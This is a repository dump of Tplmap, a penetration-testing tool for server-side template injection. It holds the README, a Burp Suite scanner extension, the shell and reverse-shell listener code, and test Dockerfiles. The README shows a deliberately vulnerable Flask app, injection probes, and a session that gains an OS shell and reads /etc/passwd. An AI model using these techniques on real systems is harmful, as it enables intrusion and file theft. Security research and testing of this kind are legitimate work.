├── .gitignore ├── .travis.yml ├── LICENSE.md ├── README.md ├── burp_extension.py ├── burp_extension ├── README.md ├── __init__.py ├── burp_extender.py ├── channel.py ├── config_tab.py ├── scan_issue.py └── scanner_check.py ├── config.yml ├── core ├── __init__.py ├── channel.py ├── checks.py ├── clis.py ├── plugin.py └── tcpserver.py ├── docker-envs ├── Dockerfile.java ├── Dockerfile.node ├── Dockerfile.php ├── Dockerfile.python2 ├── Dockerfile.python3 ├── Dockerfile.ruby ├── README.md └── docker-compose.yml ├── plugins ├── __init__.py ├── engines │ ├── __init__.py │ ├── dot.py │ ├── dust.py │ ├── ejs.py │ ├── erb.py │ ├── freemarker.py │ ├── jinja2.py │ ├── mako.py │ ├── marko.py │ ├── nunjucks.py │ ├── pug.py │ ├── slim.py │ ├── smarty.py │ ├── tornado.py │ ├── twig.py │ └── velocity.py └── languages │ ├── __init__.py │ ├── bash.py │ ├── java.py │ ├── javascript.py │ ├── php.py │ ├── python.py │ └── ruby.py ├── requirements.txt ├── tests ├── basetest.py ├── env_java_tests │ └── spark-app │ │ ├── build.gradle │ │ ├── gradle │ │ └── wrapper │ │ │ └── gradle-wrapper.properties │ │ ├── settings.gradle │ │ └── src │ │ └── main │ │ ├── java │ │ └── org │ │ │ └── tplmap │ │ │ └── webframeworks │ │ │ └── SparkApplication.java │ │ └── resources │ │ └── templates │ │ └── hello.html ├── env_node_tests │ └── connect-app.js ├── env_php_tests │ ├── eval.php │ ├── smarty-3.1.32-secured.php │ ├── smarty-3.1.32-unsecured.php │ ├── twig-1.19.0-unsecured.php │ └── twig-1.20.0-secured.php ├── env_py_tests │ └── webserver.py ├── env_ruby_tests │ ├── config.ru │ └── webserver.rb ├── run_channel_test.sh ├── run_java_tests.sh ├── run_node_tests.sh ├── run_php_tests.sh ├── run_python2_tests.sh ├── run_python3_tests.sh ├── run_ruby_tests.sh ├── test_channel.py ├── test_java_freemarker.py ├── test_java_velocity.py ├── test_node_dot.py ├── test_node_dust.py ├── test_node_ejs.py ├── test_node_javascript.py ├── test_node_marko.py ├── test_node_nunjucks.py ├── test_node_pug.py ├── test_php_php.py ├── test_php_smarty_secured.py ├── test_php_smarty_unsecured.py ├── test_php_twig_secured.py ├── test_php_twig_unsecured.py ├── test_py_jinja2.py ├── test_py_mako.py ├── test_py_python.py ├── test_py_tornado.py ├── test_ruby_erb.py ├── test_ruby_ruby.py ├── test_ruby_slim.py └── tests.sh ├── tplmap.py └── utils ├── __init__.py ├── cliparser.py ├── closures.py ├── config.py ├── loggers.py ├── rand.py └── strings.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | 5 | # C extensions 6 | *.so 7 | 8 | # Distribution / packaging 9 | .Python 10 | env/ 11 | bin/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | eggs/ 16 | lib/ 17 | lib64/ 18 | parts/ 19 | sdist/ 20 | var/ 21 | *.egg-info/ 22 | .installed.cfg 23 | *.egg 24 | 25 | # Installer logs 26 | pip-log.txt 27 | pip-delete-this-directory.txt 28 | 29 | # Unit test / coverage reports 30 | .tox/ 31 | .coverage 32 | .cache 33 | nosetests.xml 34 | coverage.xml 35 | 36 | # Translations 37 | *.mo 38 | 39 | # OsX 40 | .DS_Store 41 | 42 | 43 | # TplMap third party test-data 44 | tests/env_*/lib/ 45 | tests/env_*/templates_c/ 46 | 47 | # Npm local modules 48 | node_modules 49 | 50 | # Jython 51 | *.class 52 | 53 | # Vim 54 | # swap 55 | .sw[a-p] 56 | .*.sw[a-p] 57 | # tags 58 | tags 59 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | sudo: required 2 | 3 | services: 4 | - docker 5 | 6 | script: 7 | ./tests/tests.sh 8 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Tplmap 2 | ====== 3 | 4 | > This project is no longer maintained. I'm happy to merge new PRs as long they don't break the [test suite](https://github.com/epinna/tplmap/wiki/Run-the-test-suite). 5 | 6 | Tplmap assists the exploitation of Code Injection and Server-Side Template Injection vulnerabilities with a number of sandbox escape techniques to get access to the underlying operating system. 7 | 8 | The tool and its test suite are developed to research the SSTI vulnerability class and to be used as offensive security tool during web application penetration tests. 9 | 10 | The sandbox break-out techniques came from James Kett's [Server-Side Template Injection: RCE For The Modern Web App][10], other public researches [\[1\]][1] [\[2\]][2], and original contributions to this tool [\[3\]][3] [\[4\]][4]. 11 | 12 | It can exploit several code context and blind injection scenarios. It also supports _eval()_-like code injections in Python, Ruby, PHP, Java and generic unsandboxed template engines. 13 | 14 | Server-Side Template Injection 15 | ------------------------------ 16 | 17 | Assume that you are auditing a web site that generates dynamic pages using templates composed with user-provided values, such as this web application written in Python and [Flask][12] that uses [Jinja2][11] template engine in an unsafe way. 18 | 19 | ```python 20 | from flask import Flask, request 21 | from jinja2 import Environment 22 | 23 | app = Flask(__name__) 24 | Jinja2 = Environment() 25 | 26 | @app.route("/page") 27 | def page(): 28 | 29 | name = request.values.get('name') 30 | 31 | # SSTI VULNERABILITY 32 | # The vulnerability is introduced concatenating the 33 | # user-provided `name` variable to the template string. 34 | output = Jinja2.from_string('Hello ' + name + '!').render() 35 | 36 | # Instead, the variable should be passed to the template context. 37 | # Jinja2.from_string('Hello {{name}}!').render(name = name) 38 | 39 | return output 40 | 41 | if __name__ == "__main__": 42 | app.run(host='0.0.0.0', port=80) 43 | ``` 44 | 45 | From a black box testing perspective, the page reflects the value similarly to a XSS vulnerability, but also computes basic operation at runtime disclosing its SSTI nature. 46 | 47 | ``` 48 | $ curl -g 'http://www.target.com/page?name=John' 49 | Hello John! 50 | $ curl -g 'http://www.target.com/page?name={{7*7}}' 51 | Hello 49! 52 | ``` 53 | 54 | Exploitation 55 | ------------ 56 | 57 | Tplmap is able to detect and exploit SSTI in a range of template engines to get access to the underlying file system and operating system. Run it against the URL to test if the parameters are vulnerable. 58 | 59 | ``` 60 | $ ./tplmap.py -u 'http://www.target.com/page?name=John' 61 | [+] Tplmap 0.5 62 | Automatic Server-Side Template Injection Detection and Exploitation Tool 63 | 64 | [+] Testing if GET parameter 'name' is injectable 65 | [+] Smarty plugin is testing rendering with tag '{*}' 66 | [+] Smarty plugin is testing blind injection 67 | [+] Mako plugin is testing rendering with tag '${*}' 68 | ... 69 | [+] Jinja2 plugin is testing rendering with tag '{{*}}' 70 | [+] Jinja2 plugin has confirmed injection with tag '{{*}}' 71 | [+] Tplmap identified the following injection point: 72 | 73 | GET parameter: name 74 | Engine: Jinja2 75 | Injection: {{*}} 76 | Context: text 77 | OS: linux 78 | Technique: render 79 | Capabilities: 80 | 81 | Shell command execution: ok 82 | Bind and reverse shell: ok 83 | File write: ok 84 | File read: ok 85 | Code evaluation: ok, python code 86 | 87 | [+] Rerun tplmap providing one of the following options: 88 | 89 | --os-shell Run shell on the target 90 | --os-cmd Execute shell commands 91 | --bind-shell PORT Connect to a shell bind to a target port 92 | --reverse-shell HOST PORT Send a shell back to the attacker's port 93 | --upload LOCAL REMOTE Upload files to the server 94 | --download REMOTE LOCAL Download remote files 95 | ``` 96 | 97 | Use `--os-shell` option to launch a pseudo-terminal on the target. 98 | 99 | ``` 100 | $ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John' 101 | [+] Tplmap 0.5 102 | Automatic Server-Side Template Injection Detection and Exploitation Tool 103 | 104 | [+] Run commands on the operating system. 105 | 106 | linux $ whoami 107 | www 108 | linux $ cat /etc/passwd 109 | root:x:0:0:root:/root:/bin/bash 110 | daemon:x:1:1:daemon:/usr/sbin:/bin/sh 111 | bin:x:2:2:bin:/bin:/bin/sh 112 | ``` 113 | 114 | Supported template engines 115 | -------------------------- 116 | 117 | Tplmap supports over 15 template engines, unsandboxed template engines and generic _eval()_-like injections. 118 | 119 | | Engine | Remote Command Execution | Blind | Code evaluation | File read | File write | 120 | |------------------------|---------------|-------------------|-----------------|-----------|------------| 121 | | Mako | ✓ | ✓ | Python | ✓ | ✓ | 122 | | Jinja2 | ✓ | ✓ | Python | ✓ | ✓ | 123 | | Python (code eval) | ✓ | ✓ | Python | ✓ | ✓ | 124 | | Tornado | ✓ | ✓ | Python | ✓ | ✓ | 125 | | Nunjucks | ✓ | ✓ | JavaScript | ✓ | ✓ | 126 | | Pug | ✓ | ✓ | JavaScript | ✓ | ✓ | 127 | | doT | ✓ | ✓ | JavaScript | ✓ | ✓ | 128 | | Marko | ✓ | ✓ | JavaScript | ✓ | ✓ | 129 | | JavaScript (code eval) | ✓ | ✓ | JavaScript | ✓ | ✓ | 130 | | Dust (<= dustjs-helpers@1.5.0) | ✓ | ✓ | JavaScript | ✓ | ✓ | 131 | | EJS | ✓ | ✓ | JavaScript | ✓ | ✓ | 132 | | Ruby (code eval) | ✓ | ✓ | Ruby | ✓ | ✓ | 133 | | Slim | ✓ | ✓ | Ruby | ✓ | ✓ | 134 | | ERB | ✓ | ✓ | Ruby | ✓ | ✓ | 135 | | Smarty (unsecured) | ✓ | ✓ | PHP | ✓ | ✓ | 136 | | PHP (code eval) | ✓ | ✓ | PHP | ✓ | ✓ | 137 | | Twig (<=1.19) | ✓ | ✓ | PHP | ✓ | ✓ | 138 | | Freemarker | ✓ | ✓ | Java | ✓ | ✓ | 139 | | Velocity | ✓ | ✓ | Java | ✓ | ✓ | 140 | | Twig (>1.19) | × | × | × | × | × | 141 | | Smarty (secured) | × | × | × | × | × | 142 | | Dust (> dustjs-helpers@1.5.0) | × | × | × | × | × | 143 | 144 | 145 | Burp Suite Plugin 146 | ----------------- 147 | 148 | See [burp_extension/README.md](burp_extension/README.md). 149 | 150 | [10]: http://blog.portswigger.net/2015/08/server-side-template-injection.html 151 | [3]: https://github.com/epinna/tplmap/issues/9 152 | [4]: http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine 153 | [1]: https://artsploit.blogspot.co.uk/2016/08/pprce2.html 154 | [11]: http://jinja.pocoo.org/ 155 | [12]: http://flask.pocoo.org/ 156 | [2]: https://opsecx.com/index.php/2016/07/03/server-side-template-injection-in-tornado/ 157 | -------------------------------------------------------------------------------- /burp_extension.py: -------------------------------------------------------------------------------- 1 | from burp_extension.burp_extender import BurpExtender 2 | -------------------------------------------------------------------------------- /burp_extension/README.md: -------------------------------------------------------------------------------- 1 | # Burp Suite Plugin 2 | 3 | Tplmap is able to run as a Burp Suite Extension. 4 | 5 | ### Install 6 | 7 | Load burp_extension.py with following conditions. 8 | 9 | * Burp Suite edition: Professional 10 | * The Python modules required for Tplmap are installed. 11 | * PyYaml 12 | * requests 13 | * Extension type: Python 14 | 15 | An example of a simple setup procedure: 16 | 17 | 1. Install Jython by installer 18 | ```sh 19 | $ wget 'https://repo1.maven.org/maven2/org/python/jython-installer/2.7.2/jython-installer-2.7.2.jar' -O jython_installer.jar 20 | $ mkdir "$HOME"/jython 21 | $ java -jar jython_installer.jar -s -d "$HOME"/jython -t standard 22 | $ rm jython_installer.jar 23 | ``` 24 | 2. Install additional Python modules 25 | ```sh 26 | $ curl -sL 'https://github.com/yaml/pyyaml/archive/refs/tags/5.1.2.tar.gz' | tar xzf - 27 | $ cd pyyaml-5.1.2 28 | $ "$HOME"/jython/bin/jython setup.py install 29 | $ cd .. 30 | $ curl -sL 'https://github.com/psf/requests/archive/refs/tags/v2.22.0.tar.gz' | tar xzf - 31 | $ cd requests-2.22.0 32 | $ "$HOME"/jython/bin/jython setup.py install 33 | $ cd .. 34 | $ rm -rf pyyaml-5.1.2 requests-2.22.0 35 | ``` 36 | 3. Run your Burp Suite 37 | 4. Open Jython file chooser dialog 38 | [Extender] - [Options] - [Python Environment] - [Location of the Jython standalone JAR file] 39 | 5. Choose the file `$HOME/jython/jython.jar` 40 | 6. Load `burp_extender.py` as Python type burp extension 41 | 42 | ### Scanning 43 | 44 | Configure scanning option from 'Tplmap' tab, and do an active scan. 45 | 46 | ### Limitation 47 | 48 | Only the detection feature of Tplmap is available. 49 | Exploitation feature is not implemented, use Tplmap CLI. 50 | 51 | The `--injection-tag` option is also not available, because this extension follows Burp's Insertion Point setting. 52 | 53 | If you need the `--injection-tag` option, you can use [Scan manual insertion point](https://github.com/ClementNotin/burp-scan-manual-insertion-point) extension. 54 | -------------------------------------------------------------------------------- /burp_extension/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/epinna/tplmap/616b0e527f62dd0930e6346ede6bef79e9bcf717/burp_extension/__init__.py -------------------------------------------------------------------------------- /burp_extension/burp_extender.py: -------------------------------------------------------------------------------- 1 | from burp import IBurpExtender 2 | from config_tab import ConfigTab 3 | from scanner_check import ScannerCheck 4 | 5 | class BurpExtender( IBurpExtender ): 6 | 7 | def registerExtenderCallbacks( self, callbacks ): 8 | configTab = ConfigTab( callbacks ) 9 | callbacks.setExtensionName( 'Tplmap' ) 10 | callbacks.addSuiteTab( configTab ) 11 | callbacks.registerScannerCheck( ScannerCheck( callbacks, configTab ) ) 12 | 13 | -------------------------------------------------------------------------------- /burp_extension/channel.py: -------------------------------------------------------------------------------- 1 | class Channel: 2 | 3 | def __init__( self, callbacks, configTab, baseRequestResponse, insertionPoint, payloadPosition ): 4 | self._callbacks = callbacks 5 | self._helpers = callbacks.getHelpers() 6 | self._configTab = configTab 7 | self._baseRequestResponse = baseRequestResponse 8 | self._insertionPoint = insertionPoint 9 | self._payloadPosition = payloadPosition 10 | self._request = self._helpers.analyzeRequest( baseRequestResponse ) 11 | 12 | self.url = self._request.getUrl() 13 | self.args = { 14 | 'level': self._configTab.getLevel(), 15 | 'technique': self._configTab.getTechniques() } 16 | self.data = {} 17 | self.detect = False 18 | self.messages = [] 19 | 20 | def req( self, injection ): 21 | payload = injection if self._payloadPosition == 'replace' else self._insertionPoint.getBaseValue() + injection 22 | checkRequest = self._insertionPoint.buildRequest( self._helpers.stringToBytes( payload ) ) 23 | checkRequestResponse = self._callbacks.makeHttpRequest( self._baseRequestResponse.getHttpService(), checkRequest ) 24 | self.messages.append( { 25 | 'injection': injection, 26 | 'requestResponse': checkRequestResponse 27 | } ) 28 | return self._helpers.bytesToString( checkRequestResponse.getResponse() ) 29 | 30 | def detected( self, technique, detail ): 31 | self.detect = True 32 | self.technique = technique 33 | self.detail = detail 34 | self.detect_offset = len( self.messages ) 35 | 36 | -------------------------------------------------------------------------------- /burp_extension/config_tab.py: -------------------------------------------------------------------------------- 1 | from burp import ITab 2 | 3 | from javax.swing import JPanel, GroupLayout, JLabel, JComboBox, JCheckBox 4 | from java.awt import Dimension 5 | 6 | from core.checks import plugins 7 | 8 | class ConfigTab( ITab, JPanel ): 9 | 10 | def __init__( self, callbacks ): 11 | self._callbacks = callbacks 12 | self._helpers = callbacks.getHelpers() 13 | self.__initLayout__() 14 | 15 | def __initLayout__( self ): 16 | self._levelComboBox = JComboBox() 17 | levelComboBoxSize = Dimension( 300, 30 ) 18 | self._levelComboBox.setPreferredSize( levelComboBoxSize ) 19 | self._levelComboBox.setMaximumSize( levelComboBoxSize ) 20 | for level in range( 0, 6 ): 21 | self._levelComboBox.addItem( str( level ) ) 22 | 23 | self._techRenderedCheckBox = JCheckBox( 'Rendered', True ) 24 | self._techTimebasedCheckBox = JCheckBox( 'Time-based', True ) 25 | 26 | self._plugin_groups = {} 27 | for plugin in plugins: 28 | parent = plugin.__base__.__name__ 29 | if not self._plugin_groups.has_key( parent ): 30 | self._plugin_groups[ parent ] = [] 31 | self._plugin_groups[ parent ].append( plugin ) 32 | self._pluginCheckBoxes = [] 33 | for pluginGroup in self._plugin_groups.values(): 34 | for plugin in pluginGroup: 35 | self._pluginCheckBoxes.append( PluginCheckBox( plugin ) ) 36 | 37 | self._positionReplaceCheckBox = JCheckBox( 'Replace', True ) 38 | self._positionAppendCheckBox = JCheckBox( 'Append', False ) 39 | 40 | displayItems = ( 41 | { 42 | 'label': 'Level', 43 | 'components': ( self._levelComboBox, ), 44 | 'description': 'Level of code context escape to perform (1-5, Default:0).' 45 | }, 46 | { 47 | 'label': 'Techniques', 48 | 'components': ( self._techRenderedCheckBox, self._techTimebasedCheckBox, ), 49 | 'description': 'Techniques R(endered) T(ime-based blind). Default: RT.' 50 | }, 51 | { 52 | 'label': 'Template Engines', 53 | 'components': self._pluginCheckBoxes, 54 | 'description': 'Force back-end template engine to this value(s).' 55 | }, 56 | { 57 | 'label': 'Payload position', 58 | 'components': ( self._positionReplaceCheckBox, self._positionAppendCheckBox, ), 59 | 'description': 'Scan payload position. This feature only appears in BurpExtension.' 60 | } 61 | ) 62 | 63 | layout = GroupLayout( self ) 64 | self.setLayout( layout ) 65 | layout.setAutoCreateGaps( True ) 66 | layout.setAutoCreateContainerGaps( True ) 67 | 68 | labelWidth = 200 69 | hgroup = layout.createParallelGroup( GroupLayout.Alignment.LEADING ) 70 | vgroup = layout.createSequentialGroup() 71 | for displayItem in displayItems: 72 | label = JLabel( displayItem.get( 'label' ) ) 73 | label.setToolTipText( displayItem.get( 'description' ) ) 74 | _hgroup = layout.createSequentialGroup().addComponent( label, labelWidth, labelWidth, labelWidth ) 75 | _vgroup = layout.createParallelGroup( GroupLayout.Alignment.BASELINE ).addComponent( label ) 76 | for component in displayItem.get( 'components' ): 77 | _hgroup.addComponent( component ) 78 | _vgroup.addComponent( component ) 79 | hgroup.addGroup( _hgroup ) 80 | vgroup.addGroup( _vgroup ) 81 | 82 | layout.setHorizontalGroup( hgroup ) 83 | layout.setVerticalGroup( vgroup ) 84 | 85 | def getTabCaption( self ): 86 | return 'Tplmap' 87 | 88 | def getUiComponent( self ): 89 | return self 90 | 91 | def getLevel( self ): 92 | return self._levelComboBox.getSelectedIndex() 93 | 94 | def getTechniques( self ): 95 | return '%s%s' % ( 'R' if self._techRenderedCheckBox.isSelected() else '', 'T' if self._techTimebasedCheckBox.isSelected() else '' ) 96 | 97 | def getEngines( self ): 98 | return [ checkbox.getPlugin() for checkbox in self._pluginCheckBoxes if checkbox.isSelected() ] 99 | 100 | def getPayloadPosition( self ): 101 | return { 'replace': self._positionReplaceCheckBox.isSelected(), 'append': self._positionAppendCheckBox.isSelected() } 102 | 103 | class PluginCheckBox( JCheckBox ): 104 | 105 | def __init__( self, plugin ): 106 | JCheckBox.__init__( self, plugin.__name__, True ) 107 | self._plugin = plugin 108 | parent = plugin.__base__.__name__ 109 | tooltip = parent if( parent != 'Plugin' ) else 'eval' 110 | self.setToolTipText( tooltip ) 111 | 112 | def getPlugin( self ): 113 | return self._plugin 114 | -------------------------------------------------------------------------------- /burp_extension/scan_issue.py: -------------------------------------------------------------------------------- 1 | from burp import IScanIssue 2 | 3 | from array import array 4 | import cgi 5 | 6 | class ScanIssue( IScanIssue ): 7 | 8 | def __init__( self, callbacks, baseRequestResponse, insertionPoint, channel ): 9 | self._callbacks = callbacks 10 | self._helpers = callbacks.getHelpers() 11 | self._baseRequestResponse = baseRequestResponse 12 | self._insertionPoint = insertionPoint 13 | self._channel = channel 14 | 15 | def getUrl( self ): 16 | return self._helpers.analyzeRequest( self._baseRequestResponse ).getUrl() 17 | 18 | def getIssueName( self ): 19 | return 'Server-side template injection' 20 | 21 | def getIssueType( self ): 22 | return 0x08000000 23 | 24 | def getSeverity( self ): 25 | return 'High' 26 | 27 | def getConfidence( self ): 28 | return 'Certain' 29 | 30 | def getIssueBackground( self ): 31 | return None 32 | 33 | def getRemediationBackground( self ): 34 | return None 35 | 36 | def getIssueDetail( self ): 37 | prologue_template = """ 38 | The {parameter} parameter appears to be vulnerable to server-side template injection attacks. 39 | The template engine appears to be {template}.

40 | """ 41 | 42 | render_template = """ 43 | The payload {payload} was submitted in the {parameter} parameter. 44 | This payload contains an {template} template statement.

45 | The server response contained the string {rendered}. 46 | This indicates that the payload is being interpreted by a server-side template engine.

47 | """ 48 | 49 | blind_template = """ 50 | The time-based blind payload {payload} was submitted in the {parameter} parameter. 51 | The application took {delta:f} milliseconds to respond to the request, compared with {average} milliseconds for the average, indicating that the injected command caused a time delay.

52 | """ 53 | 54 | info_template = """ 55 | Identified Informations:
56 | 62 | Capabilities: 63 | 70 | """ 71 | 72 | data = self._channel.data 73 | parameter = cgi.escape( self._insertionPoint.getInsertionPointName() ) 74 | template = data.get( 'engine' ) 75 | language = data.get( 'language' ) 76 | prologue = prologue_template.format( parameter=parameter, template=template, language=language ) 77 | 78 | if self._channel.technique == 'render': 79 | payload = self._channel.messages[ self._channel.detect_offset - 1 ].get( 'injection' ) 80 | technique_part = render_template.format( 81 | parameter = parameter, 82 | template = template, 83 | payload = cgi.escape( payload ), 84 | rendered = cgi.escape( self._channel.detail.get( 'expected' ) ) ) 85 | execute_method = 'execute' 86 | elif self._channel.technique == 'blind': 87 | blind_true_payload = self._channel.messages[ self._channel.detect_offset - 2 ].get( 'injection' ) 88 | detail = self._channel.detail 89 | blind_true_detail = detail.get( 'blind_true' ) 90 | average = ( detail.get( 'average' ) / 1000.0 ) 91 | delta_true = blind_true_detail.get( 'end' ) - blind_true_detail.get( 'start' ) 92 | delta_true_milliseconds = ( delta_true.seconds * 1000000.0 + delta_true.microseconds ) / 1000.0 93 | technique_part = blind_template.format( 94 | payload = cgi.escape( blind_true_payload ), 95 | parameter = parameter, 96 | average = average, 97 | delta = delta_true_milliseconds ) 98 | execute_method = 'execute_blind' 99 | 100 | _okng = lambda f: 'OK' if f else 'NG' 101 | info_part = info_template.format( 102 | template = template, 103 | language = language, 104 | technique = self._channel.technique, 105 | os = data.get( 'os', 'undetected' ), 106 | execute_method = execute_method, 107 | execute = _okng( data.get( execute_method ) ), 108 | read = _okng( data.get( 'read' ) ), 109 | write = _okng( data.get( 'write' ) ), 110 | bind_shell = _okng( data.get( 'bind_shell' ) ), 111 | reverse_shell = _okng( data.get( 'reverse_shell' ) ) ) 112 | return prologue + technique_part + info_part 113 | 114 | def getRemediationDetail( self ): 115 | return None 116 | 117 | def getHttpMessages( self ): 118 | if self._channel.technique == 'render': 119 | responseMarkString = self._channel.detail.get( 'expected' ) 120 | detectedMessage = self._channel.messages[ self._channel.detect_offset - 1 ] 121 | messages = [ self._markHttpMessage( detectedMessage.get( 'requestResponse' ), detectedMessage.get( 'injection' ), responseMarkString ) ] 122 | elif self._channel.technique == 'blind': 123 | blind_true_message = self._channel.messages[ self._channel.detect_offset - 2 ] 124 | blind_false_message = self._channel.messages[ self._channel.detect_offset - 1 ] 125 | messages = [ 126 | self._markHttpMessage( blind_true_message.get( 'requestResponse' ), blind_true_message.get( 'injection' ), None ), 127 | self._markHttpMessage( blind_false_message.get( 'requestResponse' ), blind_false_message.get( 'injection' ), None ) ] 128 | for evaluate in self._channel.messages[ self._channel.detect_offset: ]: 129 | messages.append( self._markHttpMessage( evaluate.get( 'requestResponse' ), evaluate.get( 'injection' ), None ) ) 130 | return messages 131 | 132 | def getHttpService( self ): 133 | return self._baseRequestResponse.getHttpService() 134 | 135 | def _markHttpMessage( self, requestResponse, injection, responseMarkString ): 136 | responseMarkers = None 137 | if responseMarkString: 138 | response = requestResponse.getResponse() 139 | responseMarkBytes = self._helpers.stringToBytes( responseMarkString ) 140 | start = self._helpers.indexOf( response, responseMarkBytes, False, 0, len( response ) ) 141 | if -1 < start: 142 | responseMarkers = [ array( 'i',[ start, start + len( responseMarkBytes ) ] ) ] 143 | 144 | requestHighlights = [ self._insertionPoint.getPayloadOffsets( self._helpers.stringToBytes( injection ) ) ] 145 | return self._callbacks.applyMarkers( requestResponse, requestHighlights, responseMarkers ) 146 | 147 | -------------------------------------------------------------------------------- /burp_extension/scanner_check.py: -------------------------------------------------------------------------------- 1 | from burp import IScannerCheck 2 | 3 | from channel import Channel 4 | from scan_issue import ScanIssue 5 | 6 | class ScannerCheck( IScannerCheck ): 7 | 8 | def __init__( self, callbacks, configTab ): 9 | self._callbacks = callbacks 10 | self._helpers = callbacks.getHelpers() 11 | self._configTab = configTab 12 | 13 | def doPassiveScan( self, baseRequestResponse ): 14 | return None 15 | 16 | def doActiveScan( self, baseRequestResponse, insertionPoint ): 17 | for position in [ position for ( position, selected ) in self._configTab.getPayloadPosition().items() if selected ]: 18 | channel = Channel( self._callbacks, self._configTab, baseRequestResponse, insertionPoint, position ) 19 | for engineClass in self._configTab.getEngines(): 20 | engine = engineClass( channel ) 21 | engine.detect() 22 | if channel.detect: 23 | return [ ScanIssue( self._callbacks, baseRequestResponse, insertionPoint, channel ) ] 24 | return None 25 | 26 | def consolidateDuplicateIssues( self, existingIssue, newIssue ): 27 | return 0 28 | 29 | -------------------------------------------------------------------------------- /config.yml: -------------------------------------------------------------------------------- 1 | # Tplmap home folder 2 | base_path: ~/.tplmap/ 3 | 4 | # Log HTTP responses under tplmap.log 5 | log_response: False 6 | 7 | # The number of seconds to delay the response when testing for 8 | # time-based blind injection. This will be added to the average 9 | # response time for render values. 10 | time_based_blind_delay: 4 11 | -------------------------------------------------------------------------------- /core/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/epinna/tplmap/616b0e527f62dd0930e6346ede6bef79e9bcf717/core/__init__.py -------------------------------------------------------------------------------- /core/clis.py: -------------------------------------------------------------------------------- 1 | import cmd 2 | 3 | class Shell(cmd.Cmd): 4 | """Interactive shell.""" 5 | 6 | def __init__(self, inject_function, prompt): 7 | cmd.Cmd.__init__(self) 8 | 9 | self.inject_function = inject_function 10 | self.prompt = prompt 11 | 12 | def default(self, line): 13 | print(self.inject_function(line)) 14 | 15 | def emptyline(self): 16 | pass 17 | 18 | class MultilineShell(cmd.Cmd): 19 | """Interactive multiline shell.""" 20 | 21 | def __init__(self, inject_function, prompt): 22 | cmd.Cmd.__init__(self) 23 | 24 | self.inject_function = inject_function 25 | self.fixed_prompt = prompt 26 | 27 | self.lines = [] 28 | 29 | self._format_prompt() 30 | 31 | def _format_prompt(self): 32 | self.prompt = '[%i] %s' % ( 33 | len(self.lines), 34 | self.fixed_prompt 35 | ) 36 | 37 | def postcmd(self, stop, line): 38 | self._format_prompt() 39 | return stop 40 | 41 | def default(self, line): 42 | self.lines.append(line) 43 | 44 | def emptyline(self): 45 | 46 | # Do not save empty line if there is nothing to send 47 | if not self.lines: 48 | return 49 | 50 | def do_EOF(self, line): 51 | # Run the inject function and reset the state 52 | 53 | # Send the current line as well 54 | if line: 55 | self.lines.append(line) 56 | 57 | print('') 58 | print(self.inject_function('\n'.join(self.lines))) 59 | self.lines = [] 60 | 61 | 62 | -------------------------------------------------------------------------------- /core/tcpserver.py: -------------------------------------------------------------------------------- 1 | import socket 2 | from utils.loggers import log 3 | import sys 4 | import select 5 | 6 | class TcpServer: 7 | 8 | def __init__(self, port, timeout): 9 | self.connect = False 10 | self.hostname = '0.0.0.0' 11 | self.port = port 12 | 13 | self.timeout = timeout 14 | self.socket_state = False 15 | 16 | self.socket = None 17 | 18 | self.connect_socket() 19 | 20 | if not self.socket: return 21 | 22 | self.forward_data() 23 | 24 | def connect_socket(self): 25 | if(self.connect): 26 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 27 | self.socket.connect((self.hostname, self.port)) 28 | 29 | else: 30 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 31 | server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 32 | try: 33 | server.setsockopt(socket.SOL_SOCKET, socket.TCP_NODELAY, 1) 34 | except socket.error: 35 | #log.debug("Warning: unable to set TCP_NODELAY...") 36 | pass 37 | 38 | try: 39 | server.bind(('0.0.0.0', self.port)) 40 | except socket.error as e: 41 | log.error("Port bind on 0.0.0.0:%s has failed: %s" % (self.port, str(e))) 42 | return 43 | 44 | server.listen(1) 45 | 46 | server.settimeout(self.timeout) 47 | 48 | try: 49 | self.socket, address = server.accept() 50 | except socket.timeout as e: 51 | server.close() 52 | raise 53 | 54 | 55 | def forward_data(self): 56 | 57 | log.info("Incoming connection accepted") 58 | 59 | self.socket.setblocking(0) 60 | 61 | while(1): 62 | read_ready, write_ready, in_error = select.select( 63 | [self.socket, sys.stdin], [], [self.socket, sys.stdin]) 64 | 65 | try: 66 | buffer = self.socket.recv(100) 67 | while(buffer != ''): 68 | 69 | self.socket_state = True 70 | 71 | sys.stdout.write(buffer) 72 | sys.stdout.flush() 73 | buffer = self.socket.recv(100) 74 | if(buffer == ''): 75 | return 76 | except socket.error: 77 | pass 78 | while(1): 79 | r, w, e = select.select([sys.stdin], [], [], 0) 80 | if(len(r) == 0): 81 | break 82 | c = sys.stdin.read(1) 83 | if(c == ''): 84 | return 85 | if(self.socket.sendall(c) != None): 86 | return 87 | -------------------------------------------------------------------------------- /docker-envs/Dockerfile.java: -------------------------------------------------------------------------------- 1 | FROM gradle:4.10.2-jdk8 2 | 3 | USER root 4 | 5 | RUN apt-get update && apt-get install --upgrade dnsutils python-pip -y 6 | RUN pip install requests PyYAML 7 | 8 | COPY tests/env_java_tests/spark-app/ /apps/tests/env_java_tests/spark-app/ 9 | WORKDIR /apps/tests/ 10 | 11 | # install dependencies 12 | RUN cd env_java_tests/spark-app/ && sed -ie 's/id "com\.github\.johnrengelman\.shadow".*//' build.gradle && \ 13 | gradle classes 14 | 15 | COPY . /apps/ 16 | 17 | EXPOSE 15003 18 | 19 | CMD cd env_java_tests/spark-app/ && gradle run 20 | -------------------------------------------------------------------------------- /docker-envs/Dockerfile.node: -------------------------------------------------------------------------------- 1 | FROM node:10.12.0 2 | 3 | RUN apt-get update && apt-get install --upgrade dnsutils python-pip libpython-dev -y 4 | RUN pip install requests PyYAML 5 | 6 | COPY tests/env_node_tests/ /apps/tests/env_node_tests/ 7 | 8 | RUN cd /apps/tests/env_node_tests/ && npm install randomstring connect pug nunjucks dustjs-linkedin@2.6 dustjs-helpers@1.5.0 marko dot ejs 9 | 10 | EXPOSE 15004 11 | 12 | 